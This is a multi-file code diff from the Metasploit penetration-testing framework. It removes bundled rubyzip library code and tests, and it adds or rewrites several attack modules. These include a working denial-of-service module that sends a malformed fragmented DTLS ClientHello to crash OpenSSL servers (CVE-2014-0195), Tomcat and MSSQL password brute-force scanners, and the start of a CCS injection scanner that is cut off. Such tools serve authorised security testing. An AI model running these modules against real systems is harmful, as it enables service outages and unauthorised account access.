assert_equal(FILENAME_ARRAY, @dirIt.entries)
end
def test_read
FILENAME_ARRAY.size.times {
|i|
assert_equal(FILENAME_ARRAY[i], @dirIt.read)
}
end
def test_rewind
@dirIt.read
@dirIt.read
assert_equal(FILENAME_ARRAY[2], @dirIt.read)
@dirIt.rewind
assert_equal(FILENAME_ARRAY[0], @dirIt.read)
end
def test_tell_seek
@dirIt.read
@dirIt.read
pos = @dirIt.tell
valAtPos = @dirIt.read
@dirIt.read
@dirIt.seek(pos)
assert_equal(valAtPos, @dirIt.read)
end
end
# Copyright (C) 2002, 2003 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,43 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE = true
$: << "../lib"
require 'test/unit'
require 'zip/ziprequire'
$: << 'data/rubycode.zip' << 'data/rubycode2.zip'
class ZipRequireTest < Test::Unit::TestCase
def test_require
assert(require('data/notzippedruby'))
assert(!require('data/notzippedruby'))
assert(require('zippedruby1'))
assert(!require('zippedruby1'))
assert(require('zippedruby2'))
assert(!require('zippedruby2'))
assert(require('zippedruby3'))
assert(!require('zippedruby3'))
c1 = NotZippedRuby.new
assert(c1.returnTrue)
assert(ZippedRuby1.returnTrue)
assert(!ZippedRuby2.returnFalse)
assert_equal(4, ZippedRuby3.multiplyValues(2, 2))
end
def test_get_resource
get_resource("aResource.txt") {
|f|
assert_equal("Nothing exciting in this file!", f.read)
}
end
end
# Copyright (C) 2002 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,611 +0,0 @@
# encoding: ASCII-8BIT
require 'zip/zip'
module Zip
# The ZipFileSystem API provides an API for accessing entries in
# a zip archive that is similar to ruby's builtin File and Dir
# classes.
#
# Requiring 'zip/zipfilesystem' includes this module in ZipFile
# making the methods in this module available on ZipFile objects.
#
# Using this API the following example creates a new zip file
# <code>my.zip</code> containing a normal entry with the name
# <code>first.txt</code>, a directory entry named <code>mydir</code>
# and finally another normal entry named <code>second.txt</code>
#
# require 'zip/zipfilesystem'
#
# Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) {
# |zipfile|
# zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" }
# zipfile.dir.mkdir("mydir")
# zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" }
# }
#
# Reading is as easy as writing, as the following example shows. The
# example writes the contents of <code>first.txt</code> from zip archive
# <code>my.zip</code> to standard out.
#
# require 'zip/zipfilesystem'
#
# Zip::ZipFile.open("my.zip") {
# |zipfile|
# puts zipfile.file.read("first.txt")
# }
module ZipFileSystem
def initialize # :nodoc:
mappedZip = ZipFileNameMapper.new(self)
@zipFsDir = ZipFsDir.new(mappedZip)
@zipFsFile = ZipFsFile.new(mappedZip)
@zipFsDir.file = @zipFsFile
@zipFsFile.dir = @zipFsDir
end
# Returns a ZipFsDir which is much like ruby's builtin Dir (class)
# object, except it works on the ZipFile on which this method is
# invoked
def dir
@zipFsDir
end
# Returns a ZipFsFile which is much like ruby's builtin File (class)
# object, except it works on the ZipFile on which this method is
# invoked
def file
@zipFsFile
end
# Instances of this class are normally accessed via the accessor
# ZipFile::file. An instance of ZipFsFile behaves like ruby's
# builtin File (class) object, except it works on ZipFile entries.
#
# The individual methods are not documented due to their
# similarity with the methods in File
class ZipFsFile
attr_writer :dir
# protected :dir
class ZipFsStat
def initialize(zipFsFile, entryName)
@zipFsFile = zipFsFile
@entryName = entryName
end
def forward_invoke(msg)
@zipFsFile.send(msg, @entryName)
end
def kind_of?(t)
super || t == ::File::Stat
end
forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev?
forward_message :forward_invoke, :symlink?, :socket?, :blockdev?
forward_message :forward_invoke, :readable?, :readable_real?
forward_message :forward_invoke, :writable?, :writable_real?
forward_message :forward_invoke, :executable?, :executable_real?
forward_message :forward_invoke, :sticky?, :owned?, :grpowned?
forward_message :forward_invoke, :setuid?, :setgid?
forward_message :forward_invoke, :zero?
forward_message :forward_invoke, :size, :size?
forward_message :forward_invoke, :mtime, :atime, :ctime
def blocks; nil; end
def get_entry
@zipFsFile.__send__(:get_entry, @entryName)
end
private :get_entry
def gid
e = get_entry
if e.extra.member? "IUnix"
e.extra["IUnix"].gid || 0
else
0
end
end
def uid
e = get_entry
if e.extra.member? "IUnix"
e.extra["IUnix"].uid || 0
else
0
end
end
def ino; 0; end
def dev; 0; end
def rdev; 0; end
def rdev_major; 0; end
def rdev_minor; 0; end
def ftype
if file?
return "file"
elsif directory?
return "directory"
else
raise StandardError, "Unknown file type"
end
end
def nlink; 1; end
def blksize; nil; end
def mode
e = get_entry
if e.fstype == 3
e.externalFileAttributes >> 16
else
33206 # 33206 is equivalent to -rw-rw-rw-
end
end
end
def initialize(mappedZip)
@mappedZip = mappedZip
end
def get_entry(fileName)
if ! exists?(fileName)
raise Errno::ENOENT, "No such file or directory - #{fileName}"
end
@mappedZip.find_entry(fileName)
end
private :get_entry
def unix_mode_cmp(fileName, mode)
begin
e = get_entry(fileName)
e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0
rescue Errno::ENOENT
false
end
end
private :unix_mode_cmp
def exists?(fileName)
expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil
end
alias :exist? :exists?
# Permissions not implemented, so if the file exists it is accessible
alias owned? exists?
alias grpowned? exists?
def readable?(fileName)
unix_mode_cmp(fileName, 0444)
end
alias readable_real? readable?
def writable?(fileName)
unix_mode_cmp(fileName, 0222)
end
alias writable_real? writable?
def executable?(fileName)
unix_mode_cmp(fileName, 0111)
end
alias executable_real? executable?
def setuid?(fileName)
unix_mode_cmp(fileName, 04000)
end
def setgid?(fileName)
unix_mode_cmp(fileName, 02000)
end
def sticky?(fileName)
unix_mode_cmp(fileName, 01000)
end
def umask(*args)
::File.umask(*args)
end
def truncate(fileName, len)
raise StandardError, "truncate not supported"
end
def directory?(fileName)
entry = @mappedZip.find_entry(fileName)
expand_path(fileName) == "/" || (entry != nil && entry.directory?)
end
def open(fileName, openMode = "r", &block)
openMode.gsub!("b", "") # ignore b option
case openMode
when "r"
@mappedZip.get_input_stream(fileName, &block)
when "w"
@mappedZip.get_output_stream(fileName, &block)
else
raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r"
end
end
def new(fileName, openMode = "r")
open(fileName, openMode)
end
def size(fileName)
@mappedZip.get_entry(fileName).size
end
# Returns nil for not found and nil for directories
def size?(fileName)
entry = @mappedZip.find_entry(fileName)
return (entry == nil || entry.directory?) ? nil : entry.size
end
def chown(ownerInt, groupInt, *filenames)
filenames.each { |fileName|
e = get_entry(fileName)
unless e.extra.member?("IUnix")
e.extra.create("IUnix")
end
e.extra["IUnix"].uid = ownerInt
e.extra["IUnix"].gid = groupInt
}
filenames.size
end
def chmod (modeInt, *filenames)
filenames.each { |fileName|
e = get_entry(fileName)
e.fstype = 3 # force convertion filesystem type to unix
e.externalFileAttributes = modeInt << 16
}
filenames.size
end
def zero?(fileName)
sz = size(fileName)
sz == nil || sz == 0
rescue Errno::ENOENT
false
end
def file?(fileName)
entry = @mappedZip.find_entry(fileName)
entry != nil && entry.file?
end
def dirname(fileName)
::File.dirname(fileName)
end
def basename(fileName)
::File.basename(fileName)
end
def split(fileName)
::File.split(fileName)
end
def join(*fragments)
::File.join(*fragments)
end
def utime(modifiedTime, *fileNames)
fileNames.each { |fileName|
get_entry(fileName).time = modifiedTime
}
end
def mtime(fileName)
@mappedZip.get_entry(fileName).mtime
end
def atime(fileName)
e = get_entry(fileName)
if e.extra.member? "UniversalTime"
e.extra["UniversalTime"].atime
else
nil
end
end
def ctime(fileName)
e = get_entry(fileName)
if e.extra.member? "UniversalTime"
e.extra["UniversalTime"].ctime
else
nil
end
end
def pipe?(filename)
false
end
def blockdev?(filename)
false
end
def chardev?(filename)
false
end
def symlink?(fileName)
false
end
def socket?(fileName)
false
end
def ftype(fileName)
@mappedZip.get_entry(fileName).directory? ? "directory" : "file"
end
def readlink(fileName)
raise NotImplementedError, "The readlink() function is not implemented"
end
def symlink(fileName, symlinkName)
raise NotImplementedError, "The symlink() function is not implemented"
end
def link(fileName, symlinkName)
raise NotImplementedError, "The link() function is not implemented"
end
def pipe
raise NotImplementedError, "The pipe() function is not implemented"
end
def stat(fileName)
if ! exists?(fileName)
raise Errno::ENOENT, fileName
end
ZipFsStat.new(self, fileName)
end
alias lstat stat
def readlines(fileName)
open(fileName) { |is| is.readlines }
end
def read(fileName)
@mappedZip.read(fileName)
end
def popen(*args, &aProc)
File.popen(*args, &aProc)
end
def foreach(fileName, aSep = $/, &aProc)
open(fileName) { |is| is.each_line(aSep, &aProc) }
end
def delete(*args)
args.each {
|fileName|
if directory?(fileName)
raise Errno::EISDIR, "Is a directory - \"#{fileName}\""
end
@mappedZip.remove(fileName)
}
end
def rename(fileToRename, newName)
@mappedZip.rename(fileToRename, newName) { true }
end
alias :unlink :delete
def expand_path(aPath)
@mappedZip.expand_path(aPath)
end
end
# Instances of this class are normally accessed via the accessor
# ZipFile::dir. An instance of ZipFsDir behaves like ruby's
# builtin Dir (class) object, except it works on ZipFile entries.
#
# The individual methods are not documented due to their
# similarity with the methods in Dir
class ZipFsDir
def initialize(mappedZip)
@mappedZip = mappedZip
end
attr_writer :file
def new(aDirectoryName)
ZipFsDirIterator.new(entries(aDirectoryName))
end
def open(aDirectoryName)
dirIt = new(aDirectoryName)
if block_given?
begin
yield(dirIt)
return nil
ensure
dirIt.close
end
end
dirIt
end
def pwd; @mappedZip.pwd; end
alias getwd pwd
def chdir(aDirectoryName)
unless @file.stat(aDirectoryName).directory?
raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}"
end
@mappedZip.pwd = @file.expand_path(aDirectoryName)
end
def entries(aDirectoryName)
entries = []
foreach(aDirectoryName) { |e| entries << e }
entries
end
def foreach(aDirectoryName)
unless @file.stat(aDirectoryName).directory?
raise Errno::ENOTDIR, aDirectoryName
end
path = @file.expand_path(aDirectoryName).ensure_end("/")
subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$")
@mappedZip.each {
|fileName|
match = subDirEntriesRegex.match(fileName)
yield(match[1]) unless match == nil
}
end
def delete(entryName)
unless @file.stat(entryName).directory?
raise Errno::EINVAL, "Invalid argument - #{entryName}"
end
@mappedZip.remove(entryName)
end
alias rmdir delete
alias unlink delete
def mkdir(entryName, permissionInt = 0755)
@mappedZip.mkdir(entryName, permissionInt)
end
def chroot(*args)
raise NotImplementedError, "The chroot() function is not implemented"
end
end
class ZipFsDirIterator # :nodoc:all
include Enumerable
def initialize(arrayOfFileNames)
@fileNames = arrayOfFileNames
@index = 0
end
def close
@fileNames = nil
end
def each(&aProc)
raise IOError, "closed directory" if @fileNames == nil
@fileNames.each(&aProc)
end
def read
raise IOError, "closed directory" if @fileNames == nil
@fileNames[(@index+=1)-1]
end
def rewind
raise IOError, "closed directory" if @fileNames == nil
@index = 0
end
def seek(anIntegerPosition)
raise IOError, "closed directory" if @fileNames == nil
@index = anIntegerPosition
end
def tell
raise IOError, "closed directory" if @fileNames == nil
@index
end
end
# All access to ZipFile from ZipFsFile and ZipFsDir goes through a
# ZipFileNameMapper, which has one responsibility: ensure
class ZipFileNameMapper # :nodoc:all
include Enumerable
def initialize(zipFile)
@zipFile = zipFile
@pwd = "/"
end
attr_accessor :pwd
def find_entry(fileName)
@zipFile.find_entry(expand_to_entry(fileName))
end
def get_entry(fileName)
@zipFile.get_entry(expand_to_entry(fileName))
end
def get_input_stream(fileName, &aProc)
@zipFile.get_input_stream(expand_to_entry(fileName), &aProc)
end
def get_output_stream(fileName, &aProc)
@zipFile.get_output_stream(expand_to_entry(fileName), &aProc)
end
def read(fileName)
@zipFile.read(expand_to_entry(fileName))
end
def remove(fileName)
@zipFile.remove(expand_to_entry(fileName))
end
def rename(fileName, newName, &continueOnExistsProc)
@zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName),
&continueOnExistsProc)
end
def mkdir(fileName, permissionInt = 0755)
@zipFile.mkdir(expand_to_entry(fileName), permissionInt)
end
# Turns entries into strings and adds leading /
# and removes trailing slash on directories
def each
@zipFile.each {
|e|
yield("/"+e.to_s.chomp("/"))
}
end
def expand_path(aPath)
expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath
expanded.gsub!(/\/\.(\/|$)/, "")
expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "")
expanded.empty? ? "/" : expanded
end
private
def expand_to_entry(aPath)
expand_path(aPath).lchop
end
end
end
class ZipFile
include ZipFileSystem
end
end
# Copyright (C) 2002, 2003 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,90 +0,0 @@
# With ziprequire you can load ruby modules from a zip file. This means
# ruby's module include path can include zip-files.
#
# The following example creates a zip file with a single entry
# <code>log/simplelog.rb</code> that contains a single function
# <code>simpleLog</code>:
#
# require 'zip/zipfilesystem'
#
# Zip::ZipFile.open("my.zip", true) {
# |zf|
# zf.file.open("log/simplelog.rb", "w") {
# |f|
# f.puts "def simpleLog(v)"
# f.puts ' Kernel.puts "INFO: #{v}"'
# f.puts "end"
# }
# }
#
# To use the ruby module stored in the zip archive simply require
# <code>zip/ziprequire</code> and include the <code>my.zip</code> zip
# file in the module search path. The following command shows one
# way to do this:
#
# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' "
#$: << 'data/rubycode.zip' << 'data/rubycode2.zip'
require 'zip/zip'
class ZipList #:nodoc:all
def initialize(zipFileList)
@zipFileList = zipFileList
end
def get_input_stream(entry, &aProc)
@zipFileList.each {
|zfName|
Zip::ZipFile.open(zfName) {
|zf|
begin
return zf.get_input_stream(entry, &aProc)
rescue Errno::ENOENT
end
}
}
raise Errno::ENOENT,
"No matching entry found in zip files '#{@zipFileList.join(', ')}' "+
" for '#{entry}'"
end
end
module Kernel #:nodoc:all
alias :oldRequire :require
def require(moduleName)
zip_require(moduleName) || oldRequire(moduleName)
end
def zip_require(moduleName)
return false if already_loaded?(moduleName)
get_resource(ensure_rb_extension(moduleName)) {
|zis|
eval(zis.read); $" << moduleName
}
return true
rescue Errno::ENOENT => ex
return false
end
def get_resource(resourceName, &aProc)
zl = ZipList.new($:.grep(/\.zip$/))
zl.get_input_stream(resourceName, &aProc)
end
def already_loaded?(moduleName)
moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$")
$".detect { |e| e =~ moduleRE } != nil
end
def ensure_rb_extension(aString)
aString.sub(/(\.rb)?$/i, ".rb")
end
end
# Copyright (C) 2002 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -59,6 +59,8 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rkelly-remix', '0.0.6'
# Needed by anemone crawler
spec.add_runtime_dependency 'robots'
# Needed by some modules
spec.add_runtime_dependency 'rubyzip', '~> 1.1'
# Needed for some post modules
spec.add_runtime_dependency 'sqlite3'
# required for Time::TZInfo in ActiveSupport

View File

@ -3,9 +3,20 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
# for extracting files
require 'zip'
#
# Project
#
require 'msf/core'
require 'zip/zip' #for extracting files
require 'rex/zip' #for creating files
# for creating files
require 'rex/zip'
class Metasploit3 < Msf::Auxiliary
@ -144,17 +155,17 @@ class Metasploit3 < Msf::Auxiliary
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
def unzip_docx
#Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::ZipFile
#Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
vprint_status("Extracting #{datastore['SOURCE']} into memory.")
#we read it all into memory
zip_data = Hash.new
begin
Zip::ZipFile.open(datastore['SOURCE']) do |filezip|
Zip::File.open(datastore['SOURCE']) do |filezip|
filezip.each do |entry|
zip_data[entry.name] = filezip.read(entry)
end
end
rescue Zip::ZipError => e
rescue Zip::Error => e
print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
return nil
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
},
'Author' =>
[
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0195'],
['ZDI', '14-173'],
['BID', '67900'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
],
'DisclosureDate' => 'Jun 05 2014'))
register_options([
Opt::RPORT(4433),
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
], self.class)
end
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
sol = (seq << 48) | (frag_offset << 24) | frag_length
[
(type << 24) | length,
(sol >> 32),
(sol & 0x00000000FFFFFFFF)
].pack("NNN") + frag_body
end
def build_tls_message(type, version, epoch, sequence, message)
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
# sequence # (6 bytes) + message length (2 bytes), message body
es = (epoch << 48) | sequence
[
type,
version,
(es >> 32),
(es & 0x00000000FFFFFFFF),
message.length
].pack("CnNNn") + message
end
def run
# add a small fragment
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
# add a large fragment where the length is significantly larger than that of the first
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
connect_udp
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
udp_sock.put(message)
disconnect_udp
end
end

View File

@ -4,6 +4,8 @@
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/tomcat'
class Metasploit3 < Msf::Auxiliary
@ -91,60 +93,68 @@ class Metasploit3 < Msf::Auxiliary
return
end
each_user_pass { |user, pass|
do_login(user, pass)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
)
scanner = Metasploit::Framework::LoginScanner::Tomcat.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 10
)
service_data = {
address: ip,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
end
def do_login(user='tomcat', pass='tomcat')
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'")
success = false
srvhdr = '?'
uri = normalize_uri(datastore['URI'])
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'username' => user,
'password' => pass
}, 25)
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("http://#{rhost}:#{rport}#{uri} not responding")
return :abort
scanner.scan! do |result|
if result.success?
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Credential::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: nil,
realm_value: nil,
status: result.status)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
return :abort if (res.code == 404)
srvhdr = res.headers['Server']
if res.code == 200
# Could go with res.headers['Server'] =~ /Apache-Coyote/i
# as well but that seems like an element someone's more
# likely to change
success = true if(res.body.scan(/Tomcat/i).size >= 5)
success
end
rescue ::Rex::ConnectionError => e
vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
return :abort
end
if success
print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Tomcat Application Manager\"",
:source_type => "user_supplied",
:duplicate_ok => true,
:active => true
)
return :next_user
else
vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'")
return
end
end
end

View File

@ -5,7 +5,8 @@
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/mssql'
class Metasploit3 < Msf::Auxiliary
@ -30,44 +31,82 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.")
each_user_pass { |user, pass|
do_login(user, pass, datastore['VERBOSE'])
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
realm: datastore['DOMAIN']
)
scanner = Metasploit::Framework::LoginScanner::MSSQL.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 30,
windows_authentication: datastore['USE_WINDOWS_AUTHENT']
)
service_data = {
address: ip,
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# The service should already be reported at this point courtesy of
# report_auth_info, but this is currently the only way to give it a
# name.
report_service({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'mssql'
})
end
def do_login(user='sa', pass='', verbose=false)
vprint_status("#{rhost}:#{rport} - MSSQL - Trying username:'#{user}' with password:'#{pass}'")
begin
success = mssql_login(user, pass)
scanner.scan! do |result|
if result.success?
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public
}
if (success)
print_good("#{rhost}:#{rport} - MSSQL - successful login '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'mssql',
:user => user.downcase,
:pass => pass,
:source_type => "user_supplied",
:active => true
)
return :next_user
if datastore['USE_WINDOWS_AUTHENT']
credential_data[:realm_key] = Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
credential_data[:realm_value] = result.credential.realm
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Credential::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
vprint_error("#{rhost}:#{rport} failed to login as '#{user}'")
return
login_data = {
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: nil,
realm_value: nil,
status: result.status
}
if datastore['USE_WINDOWS_AUTHENT']
login_data[:realm_key] = Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
login_data[:realm_value] = result.credential.realm
end
invalidate_login(login_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} connection failed")
return :abort
end
end
end

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
CIPHER_SUITES = [
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
CCS_RECORD_TYPE = 0x14
ALERT_RECORD_TYPE = 0x15
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}
def initialize
super(
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
'Description' => %q{
This module checks for the OpenSSL ChageCipherSpec (CCS)
Injection vulnerability. The problem exists in the handling of early
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
them, while later implementations do not. If successful, an attacker can leverage this
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
between a client and server. This issue was first reported in early June, 2014.
},
'Author' => [
'Masashi Kikuchi', # Vulnerability discovery
'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it.
'juan vazquez' # Msf module
],
'References' =>
[
['CVE', '2014-0224'],
